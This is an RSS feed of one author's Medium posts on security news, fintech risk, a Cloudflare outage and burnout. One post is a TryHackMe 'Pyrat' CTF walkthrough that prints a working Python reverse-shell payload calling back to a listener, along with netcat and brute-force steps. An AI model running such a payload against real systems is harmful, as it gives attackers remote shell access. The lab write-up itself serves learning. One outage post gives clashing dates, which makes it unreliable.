<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by OluwapelumiOyerinde on Medium]]></title>
        <description><![CDATA[Stories by OluwapelumiOyerinde on Medium]]></description>
        <link>https://medium.com/@Oluwapelumi23?source=rss-86874bbc0ae5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8sQ44dG_V6vzZeINUvnzyQ.jpeg</url>
            <title>Stories by OluwapelumiOyerinde on Medium</title>
            <link>https://medium.com/@Oluwapelumi23?source=rss-86874bbc0ae5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 13:23:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Oluwapelumi23/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Quiet Thank You]]></title>
            <link>https://medium.com/@Oluwapelumi23/a-quiet-thank-you-a26663453487?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a26663453487</guid>
            <category><![CDATA[new-year]]></category>
            <category><![CDATA[appreciation]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Thu, 01 Jan 2026 19:34:00 GMT</pubDate>
            <atom:updated>2026-01-01T19:34:00.297Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Happy New Year, everyone.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*3dI_cB-n-TZHp-HaVOQtIA.gif" /><figcaption>giphy</figcaption></figure><p>I just wanted to take a moment to say <strong>thank you</strong>. To everyone who read, viewed, engaged with, or supported my writing in any way throughout 2025, I really appreciate it. What began as simple rants, observations, and personal discoveries slowly turned into shared learning, and I’m grateful to everyone who spent time here, whether briefly or consistently.</p><p>2025 was a good year for me, not because everything went smoothly, but because it was full of growth. I learned new things, questioned old ideas, and sometimes figured things out as I went. Having people read along, reflect, or even disagree made the process more meaningful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*TYdxeDytdBFfgvRVRCgpyA.gif" /><figcaption>giphy</figcaption></figure><blockquote>If I can encourage one small thing this year, it would be this: try to learn something new, or allow yourself to fail at something unfamiliar. Start before you feel fully ready. Some of the best lessons come from simply trying.</blockquote><p>As we move into 2026, I’m looking forward to what’s ahead. There’s more planned for this space, more learning, more exploration, and more honest attempts at understanding complex things. I’ll definitely be relying on your support again, and I hope we continue learning together, openly and imperfectly.</p><p><strong>Thank you for being here, and welcome to 2026.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a26663453487" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Epstein Files: Here We Go Again with Broken Redactions]]></title>
            <link>https://medium.com/@Oluwapelumi23/the-epstein-files-here-we-go-again-with-broken-redactions-eed4cd85f211?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/eed4cd85f211</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[news]]></category>
            <category><![CDATA[government]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 16:04:41 GMT</pubDate>
            <atom:updated>2025-12-27T18:14:39.458Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dDdoTArQvmG0_viNkbHpLQ.gif" /><figcaption>credit: Giphy</figcaption></figure><p>Many times, when you think about big government security budgets and how advanced they are, or are supposed to be, you start to believe it’s not possible for such a scandal to happen. At least, that’s what I used to believe.</p><p>When we see redacted text in a document, the conversation usually stops there. We instantly get the memo that it is not meant to be seen.</p><p>We may argue about why something was hidden or who has access to it, but rarely do we question whether it was actually protected. Which is okay for most people, because it isn’t their job to ensure that.</p><p>Learning that redacted information could be revealed by something as simple as copying and pasting isn’t something new, but learning that the government didn’t bother to catch this error when it mattered most should be a no-no.</p><p>The government decided to release more files related to the Epstein case. These aren’t ordinary documents. They are tied to one of the most sensitive, closely watched cases in recent history. Among the thousands of pages published were court filings from a 2020–2021 Virgin Islands civil lawsuit, and at least one of these documents had faulty redactions that could be bypassed by simply copying and pasting the text.</p><p>If there was ever a situation where basic quality control should have caught this before republishing, this was it. The fact that it failed here makes me wonder how often similar mistakes happen in quieter, less visible places.</p><p>I don’t expect governments to be flawless. Mistakes happen in any large system. But there’s a difference between complex failures and basic ones. This wasn’t a clever adversary finding a loophole. It was complacency, assuming something worked because it looked like it did.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eed4cd85f211" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Cybercrime, Fintech, and Banks Are Reshaping Financial Security]]></title>
            <link>https://meetcyber.net/how-cybercrime-fintech-and-banks-are-reshaping-financial-security-017cb9b4a008?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/017cb9b4a008</guid>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[fintech]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 20:47:30 GMT</pubDate>
            <atom:updated>2025-12-26T20:47:30.891Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*iEv3pXaEvJgC7-mCfE5aOQ.gif" /><figcaption>credit: giphy</figcaption></figure><p>Think about the last time you bought something with a credit card, paid a bill online, or checked your bank balance on your phone. Simple, everyday actions, right? But behind each of those moments, there’s an entire network of financial institutions quietly making it all happen.</p><p>This network, comprising banks, insurance companies, investment firms, and now tech-savvy fintech startups, is what we refer to as the financial sector. It’s the system that lets you swipe your card at the grocery store, get a loan for a car, or save for retirement. Most of us don’t think about it much, but it’s there, working in the background of nearly everything we do.</p><h3>Why the Financial Sector Is a Prime Cyber Target</h3><p>When the financial sector runs smoothly, life gets easier for everyone. Businesses can borrow money to grow and create jobs. Families can get mortgages to buy homes. People can protect themselves with insurance. When interest rates are favorable, borrowing becomes more affordable, encouraging investment and growth. The financial sector doesn’t just store our money; it helps the entire economy function.</p><p>But there’s a flip side to being this important and this connected. Financial institutions have become the largest and most valuable targets for cybercriminals worldwide.</p><blockquote>When the infamous bank robber Willie Sutton was asked why he robbed banks, he supposedly replied, Because that’s where the money is.</blockquote><p>Today’s digital bank robbers follow the same logic, except they don’t need masks and getaway cars, just keyboards, patience, and increasingly sophisticated tools.</p><p>We’re not talking about amateur hackers trying to show off. Financial institutions face attacks from organized crime groups with multimillion-dollar budgets and even government-sponsored hackers with nearly unlimited resources. These are professionals treating cybercrime like a business because for them, it is.</p><h3>The Heist That Changed Everything</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*LcpFT0yi_9QR6mpv" /></figure><p>In 2016, hackers pulled off one of the most sophisticated bank heists in history without ever setting foot in a bank. They targeted the Bangladesh Bank and manipulated the international money transfer system called SWIFT. Think of SWIFT as the messaging system banks use to send money to each other worldwide. The hackers didn’t just steal the money; they changed the financial records themselves to cover their tracks. They attempted to steal nearly $1 billion and got away with $81 million before anyone noticed.</p><p>This wasn’t a quick smash and grab. These criminals spent months studying the bank’s systems, learning how employees worked, and waiting for the perfect moment. By the time the bank realized what happened, the thieves had been inside their network for months, watching and learning. It sounds like something out of a movie, but this attack fundamentally changed how banks think about cyber risk.</p><h3>The Weakest Link in Financial Cybersecurity</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aapSSaefMqI6NPWda2aGcg.avif" /><figcaption>credit: Brendan McDermid/Reuters</figcaption></figure><p>Here’s something most people don’t realize: your bank might have excellent security, but what about all the companies your bank works with?</p><p>Modern finance involves dozens of other businesses: companies that process credit card payments, verify your identity, store data in the cloud, and handle customer service.</p><p>Criminals understand that attacking a major bank directly is extremely difficult. So instead, they target these smaller partner companies that might not have the same level of security. It’s like trying to break into a fortress. If the main gate is impenetrable, you look for a side entrance through a supplier’s delivery door.</p><p>The 2020 SolarWinds attack demonstrated this perfectly. Hackers compromised a software company that provided updates to thousands of organizations, including banks. By poisoning one company’s software, they potentially gained access to thousands of victims. One breach, countless targets. This kind of supply chain attack has become one of the most effective strategies for cybercriminals precisely because it exploits the interconnected nature of modern business.</p><h3>AI, Deepfakes, and Modern Social Engineering Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*wkrc7Q5a-bmg6HmhqQyQHg.gif" /></figure><p>Traditional security assumes that if someone sounds like your boss and knows internal company details, it’s probably your boss. That assumption is now dangerous. We’re entering an era where video calls could be faked, voice messages could be synthetic, and you can’t always trust what you see and hear. That’s becoming more common as artificial intelligence gets better at mimicking human voices, and frankly, it’s frightening.</p><p>Imagine receiving a call from your company’s CEO asking you to urgently transfer funds to a new vendor. The voice sounds exactly right, they know details about recent meetings, and the request seems plausible. You transfer the money, only to discover later that the CEO never made that call. This isn’t science fiction; it’s happening now, and the technology behind these attacks is improving rapidly.</p><h3>Fintech Competition and New Cybersecurity Risks</h3><p>For years, traditional banks dominated financial services. Then came companies like Venmo, Cash App, and PayPal: sleek, mobile-first apps that made banking feel modern and effortless. Suddenly, banks faced competition from technology companies that understood user experience in ways traditional institutions never had.</p><p>To keep up, banks had to open their systems to outside applications through what’s called an API (Application Programming Interface). Think of an API as a special doorway that allows external apps to communicate with the bank’s systems without needing to rebuild everything from scratch. This openness enabled innovation and better customer experiences, but it came with a cost.</p><p>Here’s the problem: every API is a potential security vulnerability. If not properly secured, these doorways can allow criminals to access customer data or even initiate fraudulent transactions, all without needing to steal anyone’s password. It’s like installing a new door in your house. If you don’t put a good lock on it, you’ve just created an easy entry point for burglars. The more APIs a bank implements to stay competitive, the larger their attack surface becomes.</p><h3>The Fintech Dilemma: Growing Fast vs. Growing Safe</h3><p>This brings us to an important question: Are fintech startups, in their race to capture customers, creating new security risks?</p><p>Think about how fintech companies typically grow. They start small, build a product quickly, test it with early users, and iterate rapidly based on feedback. The pressure to grow is intense. Investors want results, competitors are moving fast, and every month of slow growth could mean the difference between success and failure.</p><p>In this high-pressure environment, security can become something to “deal with later.” The thinking goes: “Let’s get customers first, prove our concept, then invest in serious security once we have the revenue to afford it.” This approach might work for other types of startups, but in financial services, it’s a dangerous gamble.</p><p>Compare this to traditional banks. Yes, they’re slow and bureaucratic, and yes, they struggle with outdated technology. But they’ve also learned painful lessons from decades of security incidents. They’ve faced regulatory penalties, dealt with breaches, and understand that one major security failure can destroy customer trust permanently. This makes them cautious, sometimes overly so, but that caution comes from hard-won experience.</p><p>The competition between traditional banks and fintech creates an interesting dynamic. Banks feel pressure to match the speed and user-friendly design of fintech apps while maintaining their security standards. Fintechs need to achieve bank-level security while keeping their innovative edge. The companies that successfully balance both will shape the future of finance.</p><h3>The Million Dollar Question</h3><p>So, do fintech companies chasing market share create security risks? The honest answer is: it depends.</p><p>Some fintech companies build security into their foundation from day one, understanding that trust is their most valuable asset. Others prioritize growth above all else, hoping to fix security problems later (which rarely works well). Some traditional banks successfully modernize while maintaining security, while others hide behind outdated systems and resist necessary changes.</p><p>What’s clear is that security is becoming a competitive advantage. Customers increasingly care about how their data and money are protected. Regulators are demanding higher standards. Insurance companies charge more to cover companies with weak security. The market is beginning to reward institutions that take security seriously and punish those that don’t.</p><p>The financial institutions that will thrive in the future, whether traditional banks or fintech startups, are those that treat security not as an obstacle to growth but as essential to sustainable success. Because in an industry built entirely on trust, one major security failure can undo years of success.</p><p>The question isn’t really whether fintechs pose security risks. The real question is whether they’ll learn to balance innovation with protection before a major breach forces them to. In the financial world, trust takes years to build and seconds to destroy.</p><h3>What This Means for All of Us</h3><p>For all of us who use these services, the stakes couldn’t be higher. The money moving through these systems isn’t abstract; it’s our savings, our mortgages, our retirement funds, and our businesses. Getting security right isn’t just a technical challenge; it’s a fundamental responsibility that every financial institution, old or new, must embrace.</p><p>As consumers, we have a role to play too. We should ask questions about how our financial providers protect our data. We should use strong passwords, enable two-factor authentication, and stay vigilant about suspicious communications. We should support companies that prioritize security and hold accountable those that don’t.</p><p>The future of finance will be shaped by those institutions that recognize this truth: in a world where everything is connected, security isn’t optional. It’s the foundation upon which everything else is built.</p><p><strong>If you found this useful, consider following to hear my thoughts, learning, and journey on the topics I explore here. Stay well and stay safe.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=017cb9b4a008" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/how-cybercrime-fintech-and-banks-are-reshaping-financial-security-017cb9b4a008">How Cybercrime, Fintech, and Banks Are Reshaping Financial Security</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Day the Internet’s Safety Net Failed: Inside the Cloudflare Outage]]></title>
            <link>https://medium.com/@Oluwapelumi23/the-day-the-internets-safety-net-failed-inside-the-cloudflare-outage-3b58212d3082?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b58212d3082</guid>
            <category><![CDATA[internet]]></category>
            <category><![CDATA[cloudflare]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 20:02:06 GMT</pubDate>
            <atom:updated>2025-11-20T20:11:54.197Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aqYUTgLr5b8P59mC.jpg" /></figure><p>You’ve probably never heard of Cloudflare. But you’ve used it hundreds of times today already. Every time you load a website, stream a video, or send a message, there’s an invisible army working behind the scenes. Cloudflare is the general commanding that army routing millions of requests per second, defending against attacks you’ll never see, and making sure that when you click a link in Lagos, it loads in London without delay.</p><p>They’re not just another tech company. They’re the infrastructure. The roads, bridges, and highways of the digital world. Companies like Discord, Shopify, Zoom, Claude, and even Truth Social trust Cloudflare to keep them online, secure, and fast.</p><p>Click <a href="https://medium.com/@Oluwapelumi23/3b58212d3082?source=friends_link&amp;sk=953a956724b2609de9aeb291801b1a47">here </a>to read the article for free users.</p><h3><strong>When the Shield Became the Threat</strong></h3><p>Cloudflare’s systems detected unusual traffic patterns hitting one of their internal services. Not an attack. Not malicious. Just… unusual. The kind of thing Cloudflare is designed to handle every single day.</p><p>Now, Cloudflare is designed to handle unusual traffic. That’s literally its job. It protects websites from distributed denial-of-service attacks, massive floods of traffic meant to overwhelm and destroy. Cloudflare once blocked an 11.5 terabits-per-second attack, the largest in recorded history.</p><p>But this spike was different. It wasn’t attacking a customer’s website. According to Cloudflare’s incident report, the unusual traffic was specifically targeting their own internal systems, including their Bot Management service, which uses machine learning to identify and block automated traffic from bots attempting to scrape, spam, or attack websites.</p><p>The Bot Management system relies on a “feature file”, essentially a configuration document that tells the system what to look for when identifying bots.</p><p>Here’s where things went catastrophically wrong: the unusual traffic spike triggered a database permissions change that caused the system to output multiple duplicate entries into the feature file. The file increased exponentially in size. When Cloudflare’s network tried to load this bloated configuration across thousands of servers worldwide, the software choked.</p><p>It was like watching dominoes fall in slow motion across the entire globe.</p><h3><strong>When the Safety Net Becomes the Trap</strong></h3><p>Cloudflare’s network is designed to be resilient. When something fails, traffic should reroute. Systems should recover. Redundancy should kick in.</p><p>And it tried. That’s why the outage wasn’t constant and flickered. Sites would come back online, then crash again. Error rates would drop, then spike. The system was fighting itself, trying to recover while simultaneously being dragged down by the very file meant to protect it. But the damage was done.</p><blockquote>Cloudflare’s CTO, Dane Knecht, would later write: “I know it caused real pain today.”</blockquote><p>Cloudflare built one of the most sophisticated networks on Earth. They defend against attacks that would obliterate lesser systems. They route traffic with breathtaking efficiency. They’ve engineered resilience into every layer.</p><p>And yet, a configuration file brought it down.</p><p>The tech industry loves to talk about AI that writes code, systems that scale infinitely, and algorithms that predict the future. But November 19th was a reminder that the boring stuff matters most.</p><p>Configuration management, File size validation, and Monitoring for unexpected behavior in internal systems. These aren’t the features you see in product announcements. They’re not the innovations that make headlines. But they’re the foundation everything else stands on.</p><p>When that foundation cracks, the entire structure sways.</p><h3>Three Giants, Three Failures, Three Weeks</h3><p>This was the third major internet disruption in less than a month.</p><p>On October 22, 2024, Amazon Web Services experienced a significant outage affecting its US-EAST-1 region, taking down portions of major services including Ring, Disney+, and various banking platforms. Two weeks later, on November 5, Microsoft Azure’s cloud portal experienced outages that disrupted Office 365, Teams, and other enterprise services across Europe and North America. Now, on November 19, Cloudflare.</p><p>Three companies. Three outages. Three weeks. Billions of people affected</p><p>The November 19th outage was resolved. Engineers identified the corrupted feature file, pushed a fix, and gradually restored services. But the underlying vulnerability remains.</p><p>The internet is more fragile than we’d like to believe, not because the technology is bad, but because it’s concentrated. A handful of companies like Cloudflare, AWS, Azure, and Google Cloud form the invisible backbone of nearly everything online. When one stumbles, millions stumble with it.</p><p>The question isn’t whether it will happen again. It’s when. Maybe not Cloudflare. Maybe AWS. Maybe Azure. Perhaps a company we’ve never heard of that powers something we use every day.</p><p>The question isn’t whether we can eliminate these failures; we can’t. Complex systems fail in complex ways. It’s whether we’re building an internet diverse enough that when one giant stumbles, everything doesn’t stumble with it. It’s whether we’re investing as much in the boring, unglamorous work of resilience as we are in the exciting work of innovation.</p><blockquote>I give massive respect to the engineers maintaining these invisible systems, the people who exist behind the spotlight, working on problems we’ll never understand, and I hope they are having a very boring day.</blockquote><p>Hit &#39;Follow&#39; if you&#39;d like to understand the tech you use without the headache. So here’s my question: what app going down for an hour would genuinely ruin your day? I’ll go first, Medium.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b58212d3082" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proactive Threat Hunting using YARA]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://meetcyber.net/proactive-threat-hunting-using-yara-e129bd351e9f?source=rss-86874bbc0ae5------2"><img src="https://cdn-images-1.medium.com/max/1920/0*OPuzgXWvs__nvxbn.jpg" width="1920"></a></p><p class="medium-feed-snippet">The biggest challenge in cybersecurity? Knowing what to look for. You can&#x2019;t manually inspect every file or process on a system; there are&#x2026;</p><p class="medium-feed-link"><a href="https://meetcyber.net/proactive-threat-hunting-using-yara-e129bd351e9f?source=rss-86874bbc0ae5------2">Continue reading on MeetCyber »</a></p></div>]]></description>
            <link>https://meetcyber.net/proactive-threat-hunting-using-yara-e129bd351e9f?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e129bd351e9f</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 17:33:27 GMT</pubDate>
            <atom:updated>2025-11-13T17:33:27.702Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Taking a step back…]]></title>
            <link>https://medium.com/@Oluwapelumi23/taking-a-step-back-5847a1aee71d?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5847a1aee71d</guid>
            <category><![CDATA[mental-health]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 18:16:57 GMT</pubDate>
            <atom:updated>2025-09-22T18:16:57.473Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hi there</strong>, if you’re seeing this, then I am probably doing something I shouldn’t be doing during my resting time. These past few months have been one hell of a ride. I have met new friends, lost friends, and learnt so much about myself and the world I live in, accepted new views, and dropped some of my old views about things. It’s been a rollercoaster of emotions, but I wouldn’t change a thing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*kl48L5LE9lfExOPnnLGvTg.gif" /></figure><p>I have had the opportunity to start numerous projects and pursue my passions. But I am starting to feel a familiar sensation, one that makes you dread even doing what you love the most. I am feeling burnt out and exhausted, but out of passion, I want to discuss what I have been working on and tell you guys to chill out, man.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*b70A98KOvyGgz31ZrHGrrw.gif" /></figure><p>I started my internship earlier this year and got a new job, and I have had a chance to learn a lot about tech and cyber as a whole, how tech powers even the most crucial of our infrastructure, and how important security is to ensure data is safe. That’s a story for another day, but… I had a chance to develop an internal testing tool for SOC analysts, which I plan to talk about and possibly design and update to integrate into my home lab someday, and it does some really cool stuff behind the scenes, and it’s not another AI, so don’t worry, at least for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*nAqGRV4eWByBsIUgajnvBA.gif" /></figure><p>Anyways, I’m here to tell you it’s okay to take a break from life, relax, and recharge. Life does not have to be a struggle, and sometimes a little rest and relaxation is just what you need to come back stronger. It is important to rest properly so you can keep nerding about the things that keep you up at night and allow you to enjoy your view of the world without feeling lost, tired, or left behind.</p><p>Remember, taking care of yourself is not selfish; it’s necessary for your overall well-being. So, don’t feel guilty about taking a break and focusing on self-care. Your mental health is just as important as your physical health. Stay safe and stay well. You deserve it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*1lUPbgZSAyU_hI9bQcogTQ.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5847a1aee71d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM-PYRAT Walkthrough]]></title>
            <link>https://medium.com/@Oluwapelumi23/thm-pyrat-walkthrough-426c8a13d301?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/426c8a13d301</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 11:53:21 GMT</pubDate>
            <atom:updated>2025-07-15T11:53:21.871Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s been a little over two years since I played a ctf, and I was feeling a little rusty, so I thought THM Pyrat room would be a nice place to start, unwind, and relax. But no. I got a lot of confusion and error messages. And instead of smooth sailing, I hit every iceberg of frustration, i could imagine. If you’re reading this, you might be stuck too, you might just be here to see me suffer, or maybe learn something new too. Welcome aboard, mate. Let’s jump right into this together.</p><p>“Let’s go ahead and start the room.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Y6UYDZmyAS_nPiikC-i-A.png" /></figure><p>I started by running a nmap scan on the IP address.<br>This is what I got:</p><p><strong>nmap -sC -sV -T4 -oN pyrat.txt 10.10.242.24</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rdr7pckXLguJFgSuISsjcA.png" /></figure><p>So, when Pyrat gets a response from an HTTP server, it causes a python code execution vulnerability, which is why we’re looking for something that doesn’t seem right. Right now, SSH doesn’t look interesting because we don’t have a username or password to log in. Let’s look at the Python server and see if we can get anything off of it. I found a few exploits, but none of them were strong enough to let us into this machine. Next, I ran DirBuster to brute-force some hidden directories. Unfortunately, no luck there either. No interesting folders, no juicy endpoints.</p><p>So I took a more direct route and visited the web server in a browser to see if it would give away anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjGp2yFzSBpYYfAXSmmOHA.png" /></figure><p>The message was vague, hinting at something like using curl instead of a browser. I was tired at this point, but I figured — might as well try it before I log off for the day but i got the same message. No progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*APH57LO7I-lDPDs0WeZ7pg.png" /></figure><p>At this point, I paused the room. I needed a break because i had spent a ton of time on this already , but i was still curious as to what i was missing.<br><br>Over the next couple of days, I did a lot of research into Python web servers and dug into how they handle inputs. My gut told me to try connecting to the server— to see if I could speak more directly to whatever’s running behind the scenes.</p><p>Turns out, that hunch was right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*n3bjz24ZwortJuqdq0hNTw.png" /></figure><p>The server accepted my input — and I could run Python commands remotely. That’s a clear opening for a reverse shell. So i set up a listener on my own machine using netcat:</p><p><strong>nc -lvnp 1337 <br></strong>Then I pasted the following reverse shell payload into the Python server:</p><p><strong>import socket,os,pty;s=socket.socket();s.connect((“10.8.173.226”,1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)</strong></p><p>And just like that, I had shell access as www-data.</p><h3><strong>Finding Users and the User Flag</strong></h3><p>Once inside, I looked around and found three users on the system: ubuntu, think, and root. It was safe to guess that user <strong>think </strong>would hold the user flag, and user <strong>root</strong>… well, you know. <br>To see which files were associated with the think group, I ran:<br><strong>find / -group think -ls 2&gt;/dev/null</strong></p><p>That led me to a hidden directory in /opt/dev/.git.</p><p><strong>cd /opt/dev/.git</strong><br>Inside, I found a config file — and boom: credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*pyXeN3Pftk_4Ss_8WkI5Qg.png" /></figure><p>Using SSH, I logged into the machine as think:<br><strong>ssh think@10.10.69.49</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*uA88DZqm9fC4PrAOJzQldg.png" /></figure><p>That gave us access to the user flag.</p><h3><strong>Getting the Root Flag</strong></h3><p>With access to the .git directory, I cloned it to my local machine for easier inspection:</p><p><strong>git clone think@10.10.69.49:/opt/dev/.git<br></strong>There, I found an old script called pyrat.py.old.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*9eOB_BailrgUkDFzSjYLoA.png" /></figure><p>It looked like a backdoor the admin used to retain access — pretty clever to an attcker, for an admin..umm not so clever.</p><p>When I connected to the server via Netcat, I have to supply a username (admin) and then enter a password.</p><p>Trying to supply passwords manually would obviously be inefficient, So i wrote a Python script and used ChatGPT to help format it to automate the brute-force process.</p><p>After making multiple iterations to the script, eventually, it worked — and I retrieved the root password. I’ll upload the script to my Github so you can pull, improve and use it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*M0u8rksT3uD_C1UJQJfOQg.png" /></figure><p>I then logged in as root user using the ssh crdentials we bruteforced and found the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*GrpQzOyAdK_YHP1ixE8Jbg.png" /></figure><p><strong>There’s always something to take away from every CTF. Here’s what Pyrat taught me:</strong></p><blockquote>Sometimes, the actual exploit that wrecks havoc isn’t a complex buffer overflow — it’s a reused password or a forgotten config file sitting where it shouldn’t be. This machine could have been much tougher to crack if someone hadn’t taken a shortcut. It’s a quiet reminder that real-world security often fails not from advanced attacks, but from simple, avoidable mistakes.</blockquote><blockquote>Don’t hand attackers your infrastructure on a gold platter.<br>Reusing passwords, leaving .git folders exposed, and leaving embedded credentials in config files — these are all common bad practices that make attackers’ jobs way too easy. Good security hygiene matters, even in test environments.</blockquote><blockquote>Don’t force it. If you hit a wall, take a break. Let your brain refresh, I doubt i would have realized the idea of trying to connect to the server if i hadnt taken a fresh look at it.</blockquote><p><strong>CTFs are puzzles, but they’re also practice grounds for real-world scenarios. The habits you build here — curiosity, patience, and attention often translate to the bare minimum needed to take proctive stancs towards security.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*bY5WyA1RcVIaLXgp-PHK-A.png" /></figure><p><a href="https://github.com/The-Boy8899/THM-PYRAT.git"><strong>Pyrat_Bruteforce Script link</strong></a></p><p>If you would like us to work on projects together and test the boundaries of the human mind, <a href="https://www.linkedin.com/in/pelumi-oyerinde-6b26472a3?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=ios_app"><strong>Connect with me on Linkedin</strong></a></p><p>Stay sharp and keep learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=426c8a13d301" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Windows API and its use in Malware analysis]]></title>
            <link>https://medium.com/@Oluwapelumi23/understanding-windows-api-and-its-use-in-malware-analysis-5044352fd305?source=rss-86874bbc0ae5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5044352fd305</guid>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows-api]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[OluwapelumiOyerinde]]></dc:creator>
            <pubDate>Thu, 19 Jun 2025 04:02:40 GMT</pubDate>
            <atom:updated>2025-06-19T05:47:43.151Z</atom:updated>
